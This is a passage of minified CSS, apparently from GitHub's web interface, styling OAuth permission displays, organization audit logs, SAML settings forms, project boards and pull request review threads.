.limited-access-emails-followers,.oauth-user-permissions .limited-access-emails-profile,.oauth-user-permissions .limited-access-followers-profile,.oauth-user-permissions .limited-access-profile,.oauth-user-permissions .limited-access-followers,.oauth-user-permissions .limited-access-emails,.oauth-user-permissions .no-access{display:none}.oauth-user-permissions.limited.limited-email .limited-access-emails{display:inline}.oauth-user-permissions.limited.limited-email.limited-profile .limited-access-emails,.oauth-user-permissions.limited.limited-email.limited-profile .limited-access-profile{display:none}.oauth-user-permissions.limited.limited-email.limited-profile .limited-access-emails-profile{display:inline}.oauth-user-permissions.limited.limited-email.limited-profile.limited-follow .limited-access-emails,.oauth-user-permissions.limited.limited-email.limited-profile.limited-follow .limited-access-profile,.oauth-user-permissions.limited.limited-email.limited-profile.limited-follow .limited-access-followers,.oauth-user-permissions.limited.limited-email.limited-profile.limited-follow .limited-access-emails-profile,.oauth-user-permissions.limited.limited-email.limited-profile.limited-follow .limited-access-emails-followers,.oauth-user-permissions.limited.limited-email.limited-profile.limited-follow .limited-access-followers-profile{display:none}.oauth-user-permissions.limited.limited-email.limited-profile.limited-follow .limited-access{display:inline}.oauth-user-permissions.limited.limited-email.limited-follow .limited-access-emails,.oauth-user-permissions.limited.limited-email.limited-follow .limited-access-followers{display:none}.oauth-user-permissions.limited.limited-email.limited-follow .limited-access-emails-followers{display:inline}.oauth-user-permissions.limited.limited-follow .limited-access-followers{display:inline}.oauth-user-permissions.limited.limited-follow.limited-profile .limited-access-followers,.oauth-user-permissions.limited.limited-follow.limited-profile .limited-access-profile{display:none}.oauth-user-permissions.limited.limited-follow.limited-profile .limited-access-followers-profile{display:inline}.oauth-user-permissions.limited.limited-profile .limited-access-profile{display:inline}.oauth-repo-permissions .default-access,.oauth-repo-permissions .public-access,.oauth-repo-permissions .limited-repo-invite-access,.oauth-repo-permissions .full-access{display:none}.oauth-repo-permissions.full .full-access{display:inline}.oauth-repo-permissions.limited-repo-invite .limited-repo-invite-access{display:inline}.oauth-repo-permissions.public .public-access{display:inline}.oauth-repo-permissions.default .default-access{display:inline}.oauth-delete-repo-permissions .octicon-alert{color:var(--color-danger-fg)}.oauth-repo-status-permissions .no-access,.oauth-repo-status-permissions .full-access,.oauth-repo-deployment-permissions .no-access,.oauth-repo-deployment-permissions .full-access{display:none}.oauth-notifications-permissions .no-access,.oauth-notifications-permissions .read-access,.oauth-notifications-permissions .via-public-access,.oauth-notifications-permissions .via-full-access{display:none}.oauth-notifications-permissions.read .read-access{display:inline}.oauth-notifications-permissions.via-public .via-public-access{display:inline}.oauth-notifications-permissions.via-public .octicon{display:none}.oauth-notifications-permissions.via-full .via-full-access{display:inline}.oauth-gist-permissions .no-access,.oauth-gist-permissions .full-access{display:none}.oauth-granular-permissions .no-access,.oauth-granular-permissions .read-access,.oauth-granular-permissions .write-access,.oauth-granular-permissions .full-access{display:none}.oauth-granular-permissions.none .no-access{display:inline}.oauth-granular-permissions.read .read-access{display:inline}.oauth-granular-permissions.write .write-access{display:inline}.oauth-granular-permissions.full .full-access{display:inline}.oauth-no-description{color:var(--color-fg-muted)}.oauth-org-access-details{background:var(--color-canvas-default)}.oauth-org-access-details .oauth-org-item:hover{background:var(--color-canvas-subtle)}.oauth-org-access-details a:hover{text-decoration:none}.oauth-org-access-details .boxed-group-inner{border:0;border-radius:6px}.oauth-org-access-details .oauth-org-item{line-height:24px}.oauth-org-access-details .oauth-org-item:first-child{border-radius:6px 6px 0 0}.oauth-org-access-details .oauth-org-item .loading-indicator{display:none;margin:4px}.oauth-org-access-details .oauth-org-item.on .authorized-tools{display:block}.oauth-org-access-details .oauth-org-item.on .unauthorized-tools{display:none}.oauth-org-access-details .oauth-org-item.on strong{color:var(--color-fg-default)}.oauth-org-access-details .oauth-org-item.on .octicon-check{display:inline}.oauth-org-access-details .oauth-org-item.on .octicon-x{display:none}.oauth-org-access-details .oauth-org-item.revoked{background:var(--color-canvas-default)}.oauth-org-access-details .oauth-org-item.revoked .unauthorized-tools,.oauth-org-access-details .oauth-org-item.revoked .authorized-tools{display:none}.oauth-org-access-details .oauth-org-item.revoked .octicon-x{color:var(--color-danger-fg)}.oauth-org-access-details .oauth-org-item.loading .unauthorized-tools,.oauth-org-access-details .oauth-org-item.loading .authorized-tools{display:none}.oauth-org-access-details .oauth-org-item.loading .loading-indicator{display:block}.oauth-org-access-details .oauth-org-item .authorized-tools{display:none}.oauth-org-access-details .oauth-org-item .unauthorized-tools{display:block}.oauth-org-access-details .btn{line-height:1.5em}.oauth-org-access-details .octicon{color:var(--color-fg-muted)}.oauth-org-access-details .octicon-check{display:none;color:var(--color-success-fg)}.oauth-org-access-details .octicon-x{display:inline}.oauth-org-access-details .octicon-x.org-access-denied{color:var(--color-danger-fg)}.permission-title{margin-top:0}.boxed-group-inner .oauth-application-info{margin-bottom:8px}.oauth-application-info .application-title{font-size:32px;color:var(--color-fg-default)}.oauth-application-info .application-description{margin-top:4px;margin-bottom:0}.oauth-application-info .listgroup-item{line-height:inherit}.oauth-application-info .app-denied,.oauth-application-info .app-approved{margin-left:8px;font-size:14px;font-weight:400;white-space:nowrap}.oauth-application-info .app-approved,.oauth-application-info .octicon-check{color:var(--color-success-fg)}.oauth-application-info .app-denied,.oauth-application-info .octicon-x{color:var(--color-severe-fg)}.app-transfer-actions form{display:inline}.developer-app-item .developer-app-avatar-cell{width:60px}.developer-app-item .developer-app-name{font-size:14px;font-weight:600;line-height:1.25;color:var(--color-fg-default)}.developer-app-item .developer-app-name:hover{color:var(--color-accent-fg);text-decoration:none}.developer-app-item .developer-app-info-cell{padding-left:0}.developer-app-item .developer-app-list-meta{margin-top:4px;margin-bottom:2px;font-weight:400;color:var(--color-fg-muted)}.org-transfer-requests{margin:8px 0 16px}.toggle-secret-field .secret-standin{display:block}.toggle-secret-field .secret-field{display:none}.toggle-secret-field.open .secret-standin{display:none}.toggle-secret-field.open .secret-field{display:block}.invitation-2fa-banner{margin-right:-24px;margin-left:-24px}.sign-up-via-invitation .bleed-flush{width:100%;padding:0 16px;margin-left:-16px;border-color:var(--color-border-default)}.sign-up-via-invitation label{font-size:14px}.orghead{padding-top:16px;padding-bottom:0;margin-bottom:16px;color:var(--color-fg-default);background-color:var(--color-page-header-bg);border-bottom:1px solid var(--color-border-default)}.orghead .orgnav{position:relative;top:1px;margin-top:8px}.org-repos .TableObject-item--primary{white-space:normal}.org-name{font-weight:400;color:var(--color-fg-default)}.audit-log-search .member-info{width:300px}.audit-log-search .member-info .member-avatar{float:left;margin-right:16px}.audit-log-search .member-info .member-link{display:block}.audit-log-search .member-info .member-list-avatar{margin-right:0}.audit-log-search .member-info .ghost{display:inline-block;color:var(--color-fg-muted)}.audit-log-search .blankslate{border-top-left-radius:0;border-top-right-radius:0}.audit-log-search .export-phrase{margin:4px 0}.audit-results-actions{overflow:auto}.audit-search-clear{float:left;margin-bottom:16px;border:0}.audit-search-clear .issues-reset-query{margin-bottom:0}.audit-type{width:200px;overflow:hidden;text-overflow:ellipsis;white-space:nowrap}.audit-type .octicon{margin-right:4px;font-weight:400;vertical-align:bottom}.audit-type .repo{color:var(--color-severe-fg)}.audit-type .team{color:var(--color-success-fg)}.audit-type .user{color:var(--color-done-fg)}.audit-type .oauth_access{color:var(--color-danger-fg)}.audit-type .hook{color:#e1bf4e}.export-phrase{margin-top:4px}.export-phrase pre{padding-left:8px;font-family:ui-monospace,SFMono-Regular,SF Mono,Menlo,Consolas,Liberation Mono,monospace;white-space:pre-wrap;border-left:1px solid var(--color-border-muted)}.two-factor-enforcement-form .loading-spinner{float:left;margin:0 0 0 -16px;vertical-align:middle}.saml-enabled-banner-container{background-color:var(--color-canvas-default)}.saml-settings-form .test-status-indicator,.oidc-settings-form .test-status-indicator{width:30px;height:30px;margin-top:-4px;border-radius:50%}.saml-settings-form .test-status-indicator .octicon,.oidc-settings-form .test-status-indicator .octicon{display:block;margin-top:8px;margin-right:auto;margin-left:auto}.saml-settings-form .form-group.errored,.oidc-settings-form .form-group.errored{margin-bottom:40px}.saml-settings-form .test-status-indicator-error,.oidc-settings-form .test-status-indicator-error{color:var(--color-fg-on-emphasis);background-color:var(--color-danger-emphasis)}.saml-settings-form .test-status-indicator-success,.oidc-settings-form .test-status-indicator-success{color:var(--color-fg-on-emphasis);background-color:var(--color-success-emphasis)}.saml-settings-form .details-container .method-field,.oidc-settings-form .details-container .method-field{display:none}.saml-settings-form .details-container .method-label,.oidc-settings-form .details-container .method-label{font-weight:400}.saml-settings-form .details-container .details-target,.oidc-settings-form .details-container .details-target{cursor:pointer}.saml-settings-form .details-container.open .method-value,.saml-settings-form .details-container.open .details-target,.oidc-settings-form .details-container.open .method-value,.oidc-settings-form .details-container.open .details-target{display:none}.saml-settings-form .details-container.open .method-field,.oidc-settings-form .details-container.open .method-field{display:inline-block}.saml-settings-form .saml-enforcement-disabled,.oidc-settings-form .saml-enforcement-disabled{opacity:.5}.form-group .form-control.saml-certificate-field{width:440px;height:150px;min-height:0}.member-avatar{float:left;margin:1px}.member-fullname{color:var(--color-fg-muted)}.auto-search-group{position:relative}.auto-search-group .auto-search-input{padding-left:32px}.auto-search-group .spinner,.auto-search-group>.octicon{position:absolute;left:10px;z-index:5;width:16px;height:16px}.auto-search-group .spinner{top:9px;background-color:var(--color-canvas-default)}.auto-search-group>.octicon{top:10px;font-size:14px;color:var(--color-fg-muted);text-align:center}.org-list .list-item{position:relative;padding-top:16px;padding-bottom:16px;border-bottom:1px solid var(--color-border-muted)}.org-list .list-item::before{display:table;content:""}.org-list .list-item::after{display:table;clear:both;content:""}.permission-level-cell .select-menu-button{width:90px;text-align:left}.permission-level-cell .select-menu-button::after{position:absolute;top:10px;right:10px}.permission-level-cell .spinner{float:none;opacity:0;transition:opacity .2s ease-in-out}.permission-level-cell .is-loading .spinner{opacity:1}.select-menu-option-title{margin-top:0;margin-bottom:0}.reinstate-org-member{position:relative;width:500px;margin:40px auto}.reinstate-org-member .reinstate-lead{margin-bottom:32px;font-size:16px}.reinstate-org-member label{cursor:pointer}.reinstate-org-member .reinstate-detail-container{margin:16px 0}.reinstate-org-member .reinstate-title{color:var(--color-fg-default)}.reinstate-org-member .reinstate-title .octicon{width:16px;margin-right:8px;color:var(--color-fg-muted)}.permission-title{margin-top:0}.invite-member-results ul{margin:0}.team-member-list{list-style:none}.team-member-list .table-list-cell{padding-top:16px;padding-bottom:16px}.team-member-list .team-member-content{margin-left:50px}.team-member-list .team-member-username{margin:0;font-size:14px;font-weight:600;line-height:20px}.team-member-list .Label--secondary{cursor:default}.team-member-list .invite-icon{width:28px;color:var(--color-fg-muted)}.menu-item-danger,.menu-item-danger.selected{color:var(--color-danger-fg)}.menu-item-danger:hover,.menu-item-danger[aria-selected=true],.menu-item-danger.navigation-focus,.menu-item-danger.selected:hover,.menu-item-danger.selected[aria-selected=true],.menu-item-danger.selected.navigation-focus{color:var(--color-fg-on-emphasis);background:var(--color-danger-emphasis)}.team-member-list-avatar{float:left;margin-right:8px}.team-member-list-avatar .octicon{width:40px;color:var(--color-fg-muted)}.confirm-removal-list-container{margin-bottom:16px;border:1px solid var(--color-border-default);border-radius:6px}.confirm-removal-list-item{padding:8px;margin:0;font-size:14px;font-weight:600;border-top:1px solid var(--color-border-muted)}.confirm-removal-list-item:first-child{border-top:0}.manage-member-meta{list-style:none}.manage-member-meta-item{margin-top:12px;color:var(--color-fg-muted)}.manage-member-meta-item:first-child{margin-top:0}.manage-member-meta-item .btn-link{color:var(--color-fg-muted)}.manage-member-meta-item>.octicon{width:14px;margin-right:4px;color:var(--color-fg-muted);text-align:center}.manage-member-meta-item>.octicon-alert{color:var(--color-severe-fg)}.ldap-group-dn{display:block;font-weight:400;color:var(--color-fg-muted)}.ldap-import-groups-container .blankslate{display:none}.ldap-import-groups-container.is-empty .blankslate{display:block}.ldap-import-groups-container.is-empty .ldap-memberships-list{display:none}.ldap-memberships-list{margin-bottom:32px}.ldap-memberships-list .table-list-cell{padding-top:8px;padding-bottom:8px;font-size:12px;vertical-align:middle}.ldap-memberships-list .table-list-cell:last-child{width:92px}.ldap-memberships-list .ldap-list-team-name{width:380px}.ldap-memberships-list .ldap-group-dn{font-size:12px}.ldap-memberships-list .ldap-mention-as{width:260px}.ldap-memberships-list .edit{position:absolute;padding:8px;margin-left:-32px;color:var(--color-accent-fg);cursor:pointer}.ldap-memberships-list .edit-fields{display:none}.ldap-memberships-list .is-editing .edit-hide{display:none}.ldap-memberships-list .is-editing .edit-fields{display:block}.ldap-memberships-list .is-editing .spinner{margin-left:16px;vertical-align:middle}.ldap-memberships-list .is-removing{opacity:.25}.ldap-memberships-list .is-removing .edit{opacity:.5}.team-name-field{height:33px}.ldap-import-form-actions{margin-top:32px}.invited .team-member-list{margin:-16px 0}.invited .team-member-list .list-item{padding:8px 0;border-bottom:1px solid var(--color-border-muted)}.invited .team-member-list .list-item::before{display:table;content:""}.invited .team-member-list .list-item::after{display:table;clear:both;content:""}.invited .team-member-list .list-item:last-of-type{border:0}.invited .team-member-list .list-item .edit-invitation{float:right;margin-top:4px}.invited-banner::before{display:table;content:""}.invited-banner::after{display:table;clear:both;content:""}.invited-banner .btn-sm{float:right;margin-left:4px}.invited-banner p{font-size:14px;line-height:1.5}.invited-banner .inviter-link{font-weight:600}.manage-member-sso-sessions.has-active-sessions .blankslate{display:none}.org-menu-item:not([aria-current=page])+.org-sub-menu{display:none}.trial-banner-notice{background-image:linear-gradient(180deg, #0366d6 0%, #2188ff 100%)}@media(min-width: 768px){.Popover-message--extra-large{min-width:544px !important}}.theme-picker{margin-bottom:-1px;background-color:var(--color-canvas-default);background-clip:padding-box;border-bottom:1px solid var(--color-border-default);box-shadow:var(--color-shadow-medium)}.theme-picker>.container{position:relative;overflow:hidden;text-align:center}.theme-picker-thumbs{border-bottom:1px solid var(--color-border-muted)}.theme-toggle{width:32px;height:32px;padding:0;color:var(--color-fg-muted);background:none;border:0}.theme-toggle:hover{color:var(--color-accent-fg);text-decoration:none}.theme-toggle.disabled,.theme-toggle.disabled:hover{color:var(--color-fg-muted);cursor:not-allowed}.theme-toggle-full-left,.theme-toggle-full-right{position:absolute;top:50px;overflow:hidden}.theme-toggle-full-left{left:4px}.theme-toggle-full-right{right:4px}.theme-selector{height:102px;margin:16px 46px}.theme-selector-thumbnail{padding:2px;border:1px solid var(--color-border-muted)}.theme-selector-thumbnail:hover{text-decoration:none;background-color:var(--color-neutral-subtle)}.theme-selector-thumbnail.selected{padding:4px;background-color:var(--color-accent-emphasis);border:0}.theme-selector-thumbnail.selected .theme-selector-img{border:1px solid var(--color-canvas-default)}.theme-selector-img{width:126px;height:96px;border-radius:1px}.theme-picker-spinner{position:absolute;top:16px;left:50%;margin-left:-16px;background-color:var(--color-canvas-default);opacity:1;transition:.2s,opacity ease-in-out}.theme-picker-spinner~.theme-picker-controls .theme-name{opacity:0}.theme-picker-view-toggle{float:left}.theme-picker-view-toggle .for-hiding{display:none}.theme-picker-view-toggle.open .for-hiding{display:inline}.theme-picker-view-toggle.open .for-showing{display:none}.theme-picker-controls{position:absolute;top:15px;left:50%;width:220px;margin-left:-110px;line-height:34px;text-align:center}.theme-picker-controls .theme-toggle{vertical-align:middle}.theme-name{display:inline-block;margin-right:8px;margin-left:8px;font-size:20px;line-height:1;vertical-align:middle}.page-preview{z-index:-100;display:block;width:100%;height:6000px;padding:0;background-color:var(--color-canvas-default);border:0}.pinned-items-spinner{position:relative;top:2px;left:6px}.pinned-items-setting-link{font-size:12px;font-weight:400}.pinned-item-name{color:var(--color-fg-default)}.pinned-item-checkbox+.pinned-item-name:hover{cursor:pointer;background-color:var(--color-action-list-item-default-hover-bg);border-radius:6px}.pinned-item-checkbox:disabled+.pinned-item-name{color:var(--color-fg-muted)}.pinned-item-checkbox:disabled+.pinned-item-name:hover{cursor:default}.pinned-gist-blob-num{min-width:36px;cursor:default}.pinned-gist-blob-num:hover{color:var(--color-fg-muted);cursor:default}@media print{#serverstats,.Header-old,.Header,.header-search,.reponav,.comment::before,.comment::after,.footer,.pagehead-actions,.discussion-timeline-actions,.timeline-comment-actions,.timeline-new-comment,.thread-subscription-status,.lock-toggle-link,.header,.file-actions,.js-expandable-line,.gh-header-sticky,.pr-toolbar.is-placeholder,.language-color{display:none !important}.repository-lang-stats-graph{height:0}.btn:not(.btn-outline){color:var(--color-fg-default) !important;background:none}p,.comment h2{page-break-inside:avoid}.markdown-body h2{page-break-after:avoid}.topic-tag{padding:0}.topic-tag::before{margin-right:-2px;content:"#"}.blob-num{border-right:2px solid var(--color-border-default)}.blob-num-deletion{border-right-color:var(--color-danger-emphasis)}.blob-num-addition{border-right-color:var(--color-success-emphasis)}.blob-code-addition .x{border-bottom:2px solid var(--color-success-emphasis);border-radius:0}.blob-code-deletion .x{border-bottom:2px solid var(--color-danger-emphasis);border-radius:0}.pr-toolbar.is-stuck{position:static !important;width:100% !important}.diffstat-block-neutral{border:4px solid var(--color-border-default)}.diffstat-block-deleted{border:4px solid var(--color-danger-emphasis)}.diffstat-block-added{border:4px solid var(--color-success-emphasis)}.State{color:var(--color-fg-default);background:none;border:1px solid var(--color-border-default);border-color:none}.State--open{color:var(--color-success-fg);border:1px solid #2cbe4e}.State--merged{color:var(--color-done-fg);border:1px solid var(--color-done-emphasis)}.State--closed{color:var(--color-danger-fg);border:1px solid var(--color-danger-emphasis)}.markdown-body pre>code{white-space:pre-wrap}}.projects-splash-dialog{position:fixed;top:0;right:auto;left:50%;z-index:999;width:90vw;max-width:700px;max-height:80vh;margin:10vh auto;transform:translateX(-50%)}@media(min-width: 544px){.projects-splash-dialog{margin:20vh auto}}.projects-splash-banner{background-image:url("/images/modules/memexes/projects-beta-banner-mobile.png");background-repeat:no-repeat;background-position:left;background-size:cover}@media(min-width: 768px){.projects-splash-banner{background-image:url("/images/modules/memexes/projects-beta-banner.png")}}.projects-splash-banner p{max-width:100%}@media(min-width: 768px){.projects-splash-banner p{max-width:55%}}@media(min-width: 768px){[data-color-mode=light][data-light-theme*=dark] .projects-splash-banner,[data-color-mode=dark][data-dark-theme*=dark] .projects-splash-banner{background-image:url("/images/modules/memexes/projects-beta-banner-dark.png")}}@media(prefers-color-scheme: light)and (min-width: 768px){[data-color-mode=auto][data-light-theme*=dark] .projects-splash-banner{background-image:url("/images/modules/memexes/projects-beta-banner-dark.png")}}@media(prefers-color-scheme: dark)and (min-width: 768px){[data-color-mode=auto][data-dark-theme*=dark] .projects-splash-banner{background-image:url("/images/modules/memexes/projects-beta-banner-dark.png")}}.project-description p:last-child{margin-bottom:0 !important}.pending-cards-status{top:-2px;right:-9px;width:14px;height:14px;background-image:linear-gradient(#54a3ff, #006eed);background-clip:padding-box;border:2px solid var(--color-canvas-default)}.project-column{min-width:100%;max-width:100%;background-color:var(--color-canvas-inset);border-width:0 !important;border-radius:0 !important}.project-column:focus{outline:none}@media(min-width: 544px){.project-column{min-width:355px;max-width:355px;border-width:1px !important;border-radius:6px !important}.project-column:focus{border-color:var(--color-accent-emphasis) !important;box-shadow:var(--color-btn-shadow-input-focus)}}.project-column.moving{background-color:var(--color-accent-subtle) !important;box-shadow:var(--color-btn-shadow-input-focus);transform:translateX(4px) translateY(-4px)}.sortable-ghost{background-color:var(--color-canvas-subtle);opacity:.5}.project-card{background-color:var(--color-canvas-overlay)}.project-card .project-reference-markdown>p,.project-card:last-child{margin-bottom:0 !important}.project-card:first-child{margin-top:8px !important}@media(min-width: 544px){.project-card:first-child{margin-top:4px !important}}.project-card ul,.project-card ol{margin-bottom:8px;margin-left:16px}.project-card blockquote{padding:0 .75em;color:var(--color-fg-muted);border-left:.25em solid var(--color-border-default)}.project-card .contains-task-list{margin-left:24px}.project-card:hover{border-color:var(--color-border-default) !important;box-shadow:0 1px 3px rgba(106,115,125,.3) !important}.project-card:focus{outline:none}@media(min-width: 544px){.project-card:focus{border-color:var(--color-accent-emphasis) !important;box-shadow:var(--color-btn-shadow-input-focus) !important}}.project-card.moving{background-color:var(--color-accent-subtle) !important;box-shadow:var(--color-btn-shadow-input-focus) !important;transform:translateX(4px) translateY(0)}.issue-card.draggable{cursor:move}.issue-card .AvatarStack:hover .from-avatar{margin-right:-4px}.issue-card pre{word-wrap:break-word;white-space:pre-wrap}@keyframes show-pane{0%{transform:translateX(390px)}100%{transform:translateX(0)}}.project-note-form textarea{resize:vertical}.card-menu-container .dropdown-menu,.column-menu-container .dropdown-menu{min-width:180px}.card-octicon{top:6px;left:10px}.card-note-octicon{top:8px}.is-sending .auto-search-group .chooser-spinner{top:15px;right:21px;left:auto}.card-filter-autocomplete-dropdown{z-index:500;float:none;min-width:240px;max-height:270px;cursor:pointer}.card-filter-autocomplete-dropdown [aria-selected=true],.card-filter-autocomplete-dropdown .navigation-focus{color:var(--color-fg-on-emphasis) !important;background-color:var(--color-accent-emphasis);border-radius:6px}.card-filter-autocomplete-dropdown [aria-selected=true] .autocomplete-text-qualifier,.card-filter-autocomplete-dropdown .navigation-focus .autocomplete-text-qualifier{color:var(--color-fg-on-emphasis) !important}.projects-reset-query:hover .projects-reset-query-icon{color:var(--color-fg-on-emphasis) !important;background-color:var(--color-accent-emphasis)}.projects-reset-query-icon{width:18px;height:18px;padding:1px;background-color:var(--color-fg-muted)}.project-small-menu-dropdown::before,.project-small-menu-dropdown::after{display:none}.project-edit-mode .column-menu-container,.project-edit-mode .column-menu-item{display:none !important}.project-edit-mode .project-move-actions{display:flex !important}.push-board-over{padding-right:0 !important;transition:all .2s ease}@media(min-width: 544px){.push-board-over{padding-right:360px !important}}.projects-comment-form .comment-md-support-link{float:none;width:100%;text-align:center}.projects-comment-form .comment-form-actions{width:100%;padding:8px 16px;margin:4px 0 !important}.projects-comment-form .comment-form-actions button{width:100%;margin:4px 0 !important}.projects-comment-form .comment-form-head{padding:0 !important;margin:0 !important;border-bottom:0}.projects-comment-form .comment-form-head .tabnav-tabs{padding:8px 8px 0}.projects-comment-form .comment-form-head .toolbar-commenting{width:100%;padding-top:4px;text-align:center;background-color:var(--color-canvas-default);border-top:1px solid var(--color-border-default)}.projects-comment-form .comment-form-head::after{display:block;clear:both;content:" "}.projects-comment-form .comment-form-textarea{height:250px !important}.projects-comment-form .preview-content{margin:0;border-top:1px solid var(--color-border-default)}.projects-comment-form .preview-content .comment-body{padding:16px}.project-issue-body-wrapper{max-height:200px;overflow:hidden}.Details--on .project-issue-body-wrapper{max-height:none;overflow:visible}.project-issue-body-blur{height:32px;background:linear-gradient(to top, var(--color-project-gradient-in), var(--color-project-gradient-out))}.Details--on .project-issue-body-blur{height:0}.project-comment-title-hover .comment-action,.project-comment-body-hover .comment-action{opacity:0}.project-comment-title-hover:hover .comment-action,.project-comment-body-hover:hover .comment-action{opacity:1}.project-comment-body-reaction .timeline-comment-action{padding:4px 8px}.project-name-hover .project-name-edit-action{opacity:0}.project-name-hover:hover .project-name-edit-action{opacity:1}.vcard-fullname{font-size:24px;line-height:1.25}.vcard-username{font-size:20px;font-style:normal;font-weight:300;line-height:24px;color:var(--color-fg-muted)}.user-profile-bio-message{margin:4px 0 0;font-size:12px;color:var(--color-fg-default)}.user-profile-following-container .user-following-container.on .follow,.user-profile-following-container .user-following-container .unfollow{display:none}.user-profile-following-container .user-following-container .follow,.user-profile-following-container .user-following-container.on .unfollow{display:block}.user-repo-search-results-summary{white-space:normal}.pull-request-tab-content{display:none}.pull-request-tab-content.is-visible{display:block}.discussion-timeline p.explain{margin:0;font-size:12px}.pull-request-ref-restore{display:none}.pull-request-ref-restore-text{display:block}.pull-discussion-timeline.is-pull-restorable .pull-request-ref-restore.last{display:block}.files-bucket{margin-bottom:16px}.full-width .diffbar .container{padding-right:0;padding-left:0}.stale-files-tab{float:left;padding:4px 8px;margin-top:-4px;margin-bottom:-4px;color:var(--color-severe-fg);background-color:var(--color-severe-subtle);border-radius:6px}.stale-files-tab-link{font-weight:600;color:inherit}.pr-toolbar{position:sticky;top:0;z-index:29;min-height:60px;padding:0 16px;margin:-16px -16px 0}.pr-toolbar .float-right .diffbar-item{margin-right:0}.pr-toolbar .float-right .diffbar-item+.diffbar-item{margin-left:16px}.pr-toolbar.is-stuck{height:60px;background-color:var(--color-canvas-default)}@media(min-width: 1150px){.commit-build-statuses .status-checks-dropdown{width:500px}}.full-commit .commit-build-statuses .status-checks-dropdown{width:500px}.files-next-bucket .file,.files-next-bucket .full-commit{margin-top:0;margin-bottom:16px}.diffbar{background-color:var(--color-canvas-default)}.diffbar .show-if-stuck{display:none}.diffbar .container{width:auto}.diffbar .table-of-contents{margin-bottom:0}.diffbar .table-of-contents ol{margin-bottom:-16px}.diffbar .table-of-contents li{border-top:1px solid var(--color-border-muted)}.diffbar .table-of-contents li:first-child{border-top:0}.diffbar [role^=menuitem]:focus:not(.is-range-selected) .text-emphasized,.diffbar [role^=menuitem]:hover:not(.is-range-selected) .text-emphasized{color:var(--color-fg-on-emphasis)}.is-stuck .diffbar .show-if-stuck{display:block}.is-stuck .diffbar .diffstat{display:none}.is-stuck .diffbar .stale-files-tab{margin-top:-8px}.diffbar-item{float:left;font-size:12px;vertical-align:middle}.add-comment-label,.is-review-pending .start-review-label{display:none}.start-review-label,.is-review-pending .add-comment-label{display:inline-block}.is-review-pending .review-simple-reply-button{display:none}.review-comment-contents{margin-left:44px}.review-comment::after,.review-comment-loader::after,.review-comment.is-comment-editing::after{position:absolute;top:31px;left:29px;z-index:-1;width:3px;height:100%;content:"";background-color:var(--color-canvas-subtle)}.review-comment{position:relative;padding:8px 16px;color:var(--color-fg-default)}.review-comment:first-child{padding-top:16px}.review-comment:last-child{padding-bottom:16px}.review-comment .comment-body,.review-comment .comment-reactions{padding:0}.review-comment .comment-body{padding-top:4px}.review-comment .comment-body .suggested-change-form-container:nth-last-of-type(2){margin-bottom:0 !important}.review-comment .comment-reactions{margin-top:4px;border-top:0 !important}.review-comment .comment-reactions.has-reactions{margin-top:12px}.review-comment .show-more-popover.dropdown-menu-sw{right:-5px;margin-top:4px}.review-comment:last-child::after,.review-comment:last-child .review-comment-contents::after{display:none}.review-comment .timeline-comment-action{padding:0 4px}.review-comment .is-comment-editing{position:relative;background-color:var(--color-canvas-default);border:1px solid var(--color-border-default);border-radius:6px}.review-comment .is-comment-editing::after{top:100%;bottom:0;left:19px;height:20px}.review-comment .is-comment-editing .timeline-comment-actions,.review-comment .is-comment-editing .edit-comment-hide{display:none}.review-comment .is-comment-editing .previewable-comment-form{display:block}.review-comment.is-comment-loading .previewable-comment-form{opacity:.5}.pr-review-reactions .has-reactions,.pr-review-reactions .has-reactions.comment-reactions{margin-bottom:16px;margin-left:16px}.timeline-comment.is-comment-editing .discussion-item-header{display:none}.review-thread-reply{padding:8px 16px;background-color:var(--color-canvas-subtle);border-top:1px solid var(--color-border-default);border-radius:0 0 6px 6px}.review-thread-reply .inline-comment-form{margin:-8px -16px;background-color:var(--color-canvas-default);border:0}.review-thread-reply-button{display:inline-block;min-height:28px;padding:4px 8px;margin-left:8px;cursor:text}.readme.contributing>div{max-height:250px;overflow:auto}.readme .markdown-body,.readme .plain{word-wrap:break-word}.readme .plain pre{font-size:14px;white-space:pre-wrap}.file .readme table[data-table-type=yaml-metadata]{font-size:12px;line-height:1}.file .readme table[data-table-type=yaml-metadata] table{margin:0}.labels-list .blankslate{display:none}.labels-list .table-list-header{display:block}.labels-list.is-empty .blankslate{display:block}.labels-list.is-empty .table-list-header{display:none}.label-select-menu-item .g-emoji{font-size:12px;line-height:1;vertical-align:baseline}.label-edit::before{display:table;content:""}.label-edit::after{display:table;clear:both;content:""}.label-edit label{display:block;margin-bottom:8px}.label-edit .error{float:left;margin-top:8px;margin-left:8px;color:var(--color-danger-fg)}.label-edit.loading{display:block}.label-characters-remaining{color:var(--color-fg-muted)}.repo-list{position:relative}.repo-list-item{position:relative;padding-top:32px;padding-bottom:32px;list-style:none;border-bottom:1px solid var(--color-border-muted)}.repo-list-item-with-avatar{padding-left:42px}.repo-list-item-hanging-avatar{float:left;margin-left:-42px}.mini-repo-list-item{position:relative;display:block;padding:4px 64px 4px 32px;font-size:14px;border-top:1px solid var(--color-border-default)}.mini-repo-list-item:hover{text-decoration:none}.mini-repo-list-item:hover .repo,.mini-repo-list-item:hover .owner{text-decoration:underline}.mini-repo-list-item .repo-icon{float:left;margin-top:2px;margin-left:-16px;color:var(--color-fg-muted)}.mini-repo-list-item .repo-and-owner{max-width:220px}.mini-repo-list-item .owner{max-width:110px}.mini-repo-list-item .repo{font-weight:600}.mini-repo-list-item .stars{position:absolute;top:0;right:10px;margin-top:4px;font-size:12px;color:var(--color-fg-muted)}.mini-repo-list-item .repo-description{display:block;max-width:100%;font-size:12px;line-height:21px;color:var(--color-fg-muted)}.private .mini-repo-list-item{background-color:var(--color-attention-subtle)}.private .mini-repo-list-item .repo-icon{color:var(--color-attention-fg)}.form-group.errored label .commit-ref{background-color:var(--color-danger-subtle)}.repo-menu-item:not([aria-current=page])+.repo-sub-menu{display:none}.feature-callout .new-label-hidden{display:none}.feature-callout .new-feature-label.new-label-hidden{display:inline}.repository-og-image{width:100%;max-width:640px;height:320px;object-fit:cover;object-position:center;background-repeat:no-repeat;background-position:center;background-size:cover}.line-clamp-2{display:-webkit-box;-webkit-line-clamp:2;-webkit-box-orient:vertical;overflow:hidden}.timeout{width:auto;height:300px;padding:0;margin:16px 0;background-color:transparent;border:0}.timeout h3{padding-top:100px;color:var(--color-fg-muted)}.repo-language-color{position:relative;top:1px;display:inline-block;width:12px;height:12px;border:1px solid var(--color-primer-border-contrast);border-radius:50%}.iconbutton .octicon{margin-right:0}.prereceive-feedback{padding:16px;margin-bottom:16px;border:1px solid #dfe2e5;border-left:6px solid 